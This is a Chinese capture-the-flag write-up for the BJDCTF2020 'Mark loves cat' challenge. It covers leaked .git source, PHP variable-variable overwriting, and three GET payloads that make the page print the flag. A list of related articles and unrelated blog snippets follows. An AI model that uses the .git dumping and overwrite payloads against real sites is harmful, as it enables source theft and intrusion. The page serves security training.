[BJDCTF2020]Mark loves cat(源码泄露+命令执行)
扫描之后发现是/.git源码泄露
python GitHack.py http://56ad87c1-d8fb-463d-9480-f0fbee5176a0.node5.buuoj.cn:81/.git/

之后出现源码查看index.php

<?php
// 包含外部文件 'flag.php',可能包含变量 $flag
include 'flag.php';
// 初始化三个变量
$yds = "dog"; // $yds 被设置为 "dog"
$is = "cat"; // $is 被设置为 "cat"
$handsome = 'yds'; // $handsome 被设置为字符串 'yds'
// 遍历 $_POST 数组,将每个键值对赋值给动态生成的变量
foreach($_POST as $x => $y){
$$x = $y; // 例如,如果 $_POST 包含 'foo' => 'bar',则生成 $foo = 'bar'
}
// 遍历 $_GET 数组,将每个键值对赋值给动态生成的变量
foreach($_GET as $x => $y){
$$x = $$y; // 例如,如果 $_GET 包含 'foo' => 'bar',则生成 $foo = $bar 的值
}
// 再次遍历 $_GET 数组,检查特定条件
foreach($_GET as $x => $y){
// 如果 $_GET['flag'] 的值等于当前键名且键名不为 'flag'
if($_GET['flag'] === $x && $x !== 'flag'){
// 输出 $handsome 的值并终止脚本执行
exit($handsome);
}
}
// 检查是否存在 $_GET['flag'] 或 $_POST['flag']
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
// 如果这两个参数都没有被设置,输出 $yds 的值并终止脚本执行
exit($yds);
}
// 检查 $_POST['flag'] 或 $_GET['flag'] 是否等于字符串 'flag'
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
// 如果其中一个等于 'flag',输出 $is 的值并终止脚本执行
exit($is);
}
// 最后输出变量 $flag 的值
echo "the flag is: ".$flag;
?>
我们可以利用下面三个exit中的其中一个来输出flag
方法一覆盖$handsome
GET:?handsome=flag&flag=x&x=flag
handsome=flag是把$handsome=flag的值
handsome=flag经过
foreach($_GET as $x => $y){
$$x = $$y;
}
//变为$handsome=$flag
然后我们要满足
$_GET['flag'] === $x && $x !== 'flag'
//即让x和flag等于flag的值而不等于flag
所以就是flag=x&x=flag
方法二覆盖$yds
GET:?yds=flag
不做过多解释
方法三覆盖$is
GET:?is=flag&flag=flag
不做过多解释
[BJDCTF2020]Mark loves cat(源码泄露+命令执行)的更多相关文章
- [BJDCTF2020]Mark loves cat && [BJDCTF 2nd]简单注入 && [BJDCTF2020]The mystery of ip
[BJDCTF2020]Mark loves cat 源码泄露 使用GitHack.py下载源码 下载之后对源代码进行审计 flag.php代码为: <?php $flag = file_get ...
- 刷题[BJDCTF2020]Mark loves cat
解题思路 打开网页,发现是一个博客,基本寻找博客挂载信息,源码等无果后,扫描后台.发现.git泄露 .git泄露 发现.git泄露后,使用Git Extract这款工具,可自动将源码clone到本地 ...
- [BJDCTF2020]Mark loves cat
0x00 知识点 GitHack读取源码 $$会导致变量覆盖漏洞 0x01解题 dirsearch扫描一下,发现/.git目录,用githack获取一下源码. <?php include 'fl ...
- [原题复现+审计][BJDCTF2020]Mark loves cat($$导致的变量覆盖问题)
简介 原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January 考察知识点:$$导致的变量覆盖问题 线上平台:https://buuoj.cn( ...
- ctf/web源码泄露及利用办法
和上一篇文章差不多,也算是对web源码泄露的一个总结,但是这篇文章更侧重于CTF 参考文章: https://blog.csdn.net/wy_97/article/details/78165051? ...
- Android源码浅析(四)——我在Android开发中常用到的adb命令,Linux命令,源码编译命令
Android源码浅析(四)--我在Android开发中常用到的adb命令,Linux命令,源码编译命令 我自己平时开发的时候积累的一些命令,希望对你有所帮助 adb是什么?: adb的全称为Andr ...
- CTF中常见Web源码泄露总结
目录00x1 .ng源码泄露 00x2 git源码泄露 00x3 .DS_Store文件泄漏 00x4 网站备份压缩文件 00x5 SVN导致文件泄露 00x6 WEB-INF/web.xml泄露 ...
- 常见Web源码泄露总结
来自:http://www.hacksec.cn/Penetration-test/474.html 摘要 背景 本文主要是记录一下常见的源码泄漏问题,这些经常在web渗透测试以及CTF中出现. .h ...
- Web源码泄露总结
Web源码泄露总结 背景 本文主要是记录一下常见的源码泄漏问题,这些经常在web渗透测试以及CTF中出现. 源码泄漏分类 .hg源码泄漏 漏洞成因: hg init的时候会生成.hg e.g.http ...
- ctf常见源码泄露
前言 在ctf中发现很多源码泄露的题,总结一下,对于网站的搭建要注意删除备份文件,和一些工具的使用如git,svn等等的规范使用,避免备份文件出现在公网 SVN源码泄露 原理 SVN(subversi ...
随机推荐
- Django测试与持续集成:从入门到精通
title: Django测试与持续集成:从入门到精通 date: 2024/5/18 16:38:41 updated: 2024/5/18 16:38:41 categories: 后端开发 ta ...
- DashVector + DashScope升级多模态检索
本教程在前述教程(DashVector + ModelScope玩转多模态检索)的基础之上,基于DashScope上新推出的ONE-PEACE通用多模态表征模型结合向量检索服务DashVector来对 ...
- k8s多集群切换:使用kubeconfig文件管理多套kubernetes(k8s)集群
目录 一.系统环境 二.前言 三.kubeconfig文件 四.kubernetes(k8s)多集群切换 一.系统环境 服务器版本 docker软件版本 CPU架构 CentOS Linux rele ...
- HttpWebRequest , HttpWebResponse 调用示例
1, public string sendPost1(string url, string content) { string result = ""; HttpWebReques ...
- mysql 命令行安装方式
一:下载 先到 mysql 官方网站下载:https://dev.mysql.com/downloads/mysql/ 点击直接下载: 解压到目录:D:\mysql-8.0.19-winx64 如图 ...
- HTML——标签语法
<标签名 属性1="属性值1" 属性2="属性值2"-->内容部分</标签名> <标签名 属性1="属性值1" ...
- Android 13 - Media框架(14)- OpenMax(二)
关注公众号免费阅读全文,进入音视频开发技术分享群! 这一节我们将来解析 media.codec 这个 HIDL service 究竟提供了什么服务,服务是如何启动的. 1.main 函数 我们先来看 ...
- 在WPF中判断是是否为设计时模式
方式一: using System.ComponentModel; private bool IsInDesignMode { get { return DesignerPro ...
- 218. The Skyline Problem-Hard
一.题目描述 给定建筑的轮廓坐标,求叠加之后的轮廓结果 二.解法 这个题目最容易想到的思路是扫描法 https://briangordon.github.io/2014/08/the-skyline- ...
- github加速与添加ssh密钥
part1-github加速 此处推荐Fetch GitHub Hosts,文章的中间位置有手动添加dns的内容,十分完备,此处不赘述.不知道是不是我家网络抽风,总是得代理才能进githubQAQ难受 ...